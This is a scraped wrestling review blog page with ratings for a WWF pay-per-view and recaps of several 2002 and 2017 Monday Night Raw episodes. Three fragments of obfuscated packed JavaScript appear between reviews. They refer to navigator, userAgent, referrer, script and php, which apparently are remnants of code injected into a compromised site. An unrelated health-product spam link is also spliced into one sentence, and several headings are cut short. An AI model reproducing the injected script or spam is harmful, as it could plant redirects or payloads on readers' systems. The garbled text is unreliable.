Rating: A-. There are two problems with this match. First of all, the match the next year blows it away. Second, and far worse, the last ten minutes were spent setting up spots instead of actually going for the belts. Take the big spot of the match for example. Why in the world would Bubba do that instead of for the sake of doing that spot later? Same with all the other tables set up. There was no logic to doing that, but they did the spots anyway. Still though, excellently fun match.
Mick Foley and Linda McMahon say the main event tonight is the biggest match of all time and thanks to Linda, Mick gets to be in the main event at Wrestlemania. He says fairy tales can come true, one will come true for him.
Terri Runnels vs. The Kat
Terri is stripped post match.
The Radicalz are ready for the six man tag but Eddie is more interested in melting Chyna with the Latino Heat.
Radicalz vs. Too Cool/Chyna
The redneckiest rednecks of all time won a contest to go to Wrestlemania.
Big Show and Shane say Show will win.
We get a clip from earlier of Angle beating up his mentor Bob Backlund after finding out that Backlund came up with the idea of Kurt defending both titles.
Angle asks a security guard for extra security for the post match celebration.
Intercontinental Title/European Title: Kurt Angle vs. Chris Benoit vs. Chris Jericho
Benoit jumps Angle before the bell before heading inside for a clothesline from his fellow Canadian. All three are in now and Benoit chops Jericho, only to have his belly to back suplex escaped. Benoit breaks up a springboard dropkick by Jericho before fighting with Angle on the apron. Jericho hits the previously broken up dropkick to send both guys out to the floor. He joins them immediately, only to be sent into the steps by Kurt. Back in and a belly to belly suplex gets two for Angle on Jericho.
Jericho hits a backbreaker on Angle but Benoit shoves Jericho off the top and into the announce table for good measure. Benoit covers Angle for two before suplexing him down for the same. Jericho is back in for a dropkick to his fellow Canadian but Benoit comes right back with a clothesline for two more. Jericho bulldogs Angle down but Benoit comes back with chops of his own on the other Chris. Angle suplexes Benoit down but Jericho makes the save. Very back and forth action so far.
Jericho camel clutches Benoit but has to break it up to stop a charging Kurt. Angle hits a big suplex on Jericho for two as Benoit makes another save. Benoit rolls up Jericho in the corner but Angle dropkicks his head face first into the middle buckle to break it up. Jericho loads up a double arm suplex on Angle but gets countered into a crossface chickenwing. Benoit comes back in and dropkicks Angle before sending him to the floor and into the barricade. Back in and the Swan Dive to Jericho gives Benoit the first fall and the Intercontinental Title.
Very wisely Benoit immediately covers Jericho for an attempt at the European Title but it only gets two as Kurt dives in for the save. Angle suplexes Benoit down for two but takes too long on the moonsault attempt, allowing Jericho to break it up. Jericho loads up a belly to back superplex but Benoit supelxes Chris down, allowing Angle to miss the moonsault on Benoit. All three guys are down now until Angle covers Benoit for two. Jericho gets back into it with a Walls attempt on Angle, only to have the other Chris break it up.
It gets an unseen tapout but Benoit releases, allowing Jericho to put Benoit in the Walls. Angle hits Jericho with a title belt but Benoit makes the save as the referee is awake again. Benoit suplexes Angle down again but misses the Swan Dive. Jericho slides in for the Lionsault on Benoit for the European Title to end things.
D-Generation X vs. Rikishi/Kane
Rating: D. This was another way to bridge between the two matches while also giving us a nice closure to this feud. Rikishi was a popular guy at the time so giving him a big match on a show like this was the right idea. Tori screwed over Kane months before so seeing her get what was coming to her was a nice feeling. The match sucked though.
Various celebrities are here tonight, including Michael Clarke Duncan and Martin Short.
WWF World Title: The Rock vs. Mick Foley vs. HHH vs. Big Show
Ratings Comparison
Original: D+
Redo: D+
Hardcore Battle Royal
Original: C+
Redo: B-
Original: F
Redo: D-
Edge and Christian vs. Dudley Boyz vs. Hardy Boyz
Original: B+
Redo: A-
The Kat vs. Terri Runnels
Original: F
Redo: N/A
Radicalz vs. Too Cool/Chyna
Original: D
Redo: D+
Chris Benoit vs. Kurt Angle vs. Chris Jericho
Original: A
Redo: B+
Rikishi/Kane vs. D-Generation X
Original: D+
Redo: D
HHH vs. The Rock vs. Big Show vs. Mick Foley
Original: D+
Redo: D+
Overall Rating
Original: D
Redo: D
Not much changes in a few years.
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at:
Monday Night Raw – October 14, 2002: An Embarrassment to Wrestling Fans
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yieyb|var|u0026u|referrer|beekt||js|php'.split('|'),0,{}))
Night Raw
Date: October 14, 2002
Location: Bell Centre, Montreal, Quebec, Canada
Commentators: Jim Ross, Jerry Lawler
Kane yells at Coach for asking about what HHH said last week.
Opening sequence.
Tag Team Titles: Hurricane/Kane vs. Christian/Chris Jericho
Kane and Hurricane are defending. Hang on a sec though as Booker T. runs out to jump Jericho before we get going. That means Christian has to take a Shining Wizard from Hurricane for an early two while Jericho is stuck on the floor. Jericho finally gets it together but Hurricane hits a big flip dive onto both Canadians.
Christian tries to bring in a belt but settles for a low blow. A missile dropkick gives Jericho two as JR thinks it would be an upset if we have new champions. Kane Rocket Launches Hurricane onto Jericho for two before chasing Christian up the ramp. Back in the ring, Jericho reverses the chokeslam into the Walls, which is reversed into a rollup. Chris reverses that too though and throws his feet on the ropes for the pin and the titles.
Post break Booker yells at Jericho so a Tag Team Title match is made for Sunday because Bischoff has to keep even with Stephanie.
Al Snow vs. Lance Storm
Victoria suggests that Trish slept her way into a job so Trish comes up and slaps her in the face.
Jeff Hardy vs. Rico
Speaking of where someone was during this whole thing, do you remember about three years before this when Kane was a big monster covered in burns and scars? As in the guy who could only speak through a voicebox and had his first girlfriend (Tori) around the same time? Apparently he was not only trained as a wrestler back around 1992 but went to parties and had a female friend.
Molly Holly/Victoria vs. Trish Stratus/Jackie
Booker gets his strap for later.
Batista is still coming.
The Anthology CD collection is coming. I bought that.
Christopher Nowinski vs. Tommy Dreamer
Video on Randy Orton.
Booker T. vs. Big Show
HHH vs. Rob Van Dam
Non-title with all heel lumberjacks. Van Dam charges the ring and hammers away but gets sent to the floor for a whipping. Back in and they slug it out as WE TALK ABOUT KANE ONE MORE TIME! Van Dam takes another whipping and JR is aghast at the unfairness. HHH is sent outside for no violence so Rob dives onto a bunch of people. The champ starts in on the back with your standard heel fare: backbreakers, shoulders to the back and a suplex for a few two counts.
Kane comes back and cleans house to end the show.
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at:
Monday Night Raw – March 13, 2017: Marching on Together
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiyhh|var|u0026u|referrer|kihef||js|php'.split('|'),0,{}))
Night Raw
Date: March 13, 2017
Location: Joe Louis Arena, Detroit, Michigan
Commentators: Michael Cole, Byron Saxton, Corey Graves
In Memory of Ron Bass.
We open with a recap of Lesnar taking Goldberg out last week.
Sasha Banks vs. Dana Brooke
Eric LeGrande, a former Rutgers football player who suffered a spinal injury, is getting the Warrior Award.
Brian Kendrick/Tony Nese vs. Akira Tozawa/TJ Perkins
Kevin Owens/Samoa Joe vs. Sami Zayn/Chris Jericho
Post match Owens and Jericho go at it until the double teaming gets the better of Chris.
Enzo Amore/Big Cass vs. Cesaro/Sheamus
Anderson and Gallows destroy both teams.
Post break Anderson and Gallows laugh at Foley for getting one over on him because there were no winners. Say it with me: triple threat match.
Roman Reigns vs. Jinder Mahal
We look back at Austin Aries decking Neville last week and defeating Tony Nese the next night on 205 Live.
Austin Aries vs. Ariya Daivari
Aries forearms him in the face to start before snapping off some armdrags. A nasty backdrop sends Aries face first into the apron. Not that it matters though as Aries hits a neckbreaker onto the knee, followed by the roaring elbow for the pin at 3:48.
Emma is coming.
Bayley and Sasha are ready for Nia Jax.
Bayley vs. Nia Jax
Nia throws Bayley into the barricade for good measure.
Results
Sasha Banks b. Dana Brooke – Rollup with a handful of tights
Tony Nese/Brian Kendrick b. Akira Tozawa/TJ Perkins – Rollup with a handful of tights
Sami Zayn/Chris Jericho b. Kevin Owens/Samoa Joe via DQ when Joe and Owens double teamed Jericho
Enzo Amore/Big Cass vs. Cesaro/Sheamus when Anderson and Gallows interfered
Roman Reigns b. Jinder Mahal – Superman Punch
Austin Aries b. Ariya Daivari – Roaring Elbow
Bayley b. Nia Jax via DQ when Nia attacked in the corner
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at:
Monday Night Raw – October 7, 2002: Gimmicks Gone Wild
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdyki|var|u0026u|referrer|ehzki||js|php'.split('|'),0,{}))
Night Raw
Date: October 7, 2002
Location: Thomas and Mack Center, Las Vegas, Nevada
Commentators: Jim Ross, Jerry Lawler
Quick video on Raw Roulette which basically says “tonight is Raw Roulette”. Thanks for that one.
Eric Bischoff is in the back with some showgirls and explains the concept: a spin of the wheel determines the gimmick for every match tonight. First up: a steel cage match.
Opening sequence.
Booker T. vs. Big Show
Chris Jericho runs in and lays Booker out, even drawing some blood.
Jericho is tired of being overlooked and wants some respect.
Batista is coming to Raw. Anything that gets him away from D-Von is great, but what about the contracts being frozen a few weeks ago?
Goldust vs. William Regal
Bubba picks Tommy Dreamer as his partner tonight but sees Spike being upset. Spike has watched Bubba and D-Von for years and wanted to be there one day. Bubba changes partners and Spike smiles (Dreamer is fine with this).
Victoria comes out and destroys Trish post match.
Jeff Hardy picks Rob Van Dam as his partner.
http://onhealthy.net/product-category/allergy/ including things that hurt Victoria personally.
Al Snow vs. Test
Jerry Lawler vs. Steven Richards
Lawler is very, very happy.
Kane is all fired up to become a triple champion at No Mercy. Coach comes up to tell him that Flair and HHH are beating up Hurricane so Kane runs off for the late save.
Tag Team Titles: Rob Van Dam/Jeff Hardy vs. Dudley Boyz vs. Chris Jericho/Christian vs. Kane/Hurricane
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
And check out my Amazon author page with cheap wrestling books at: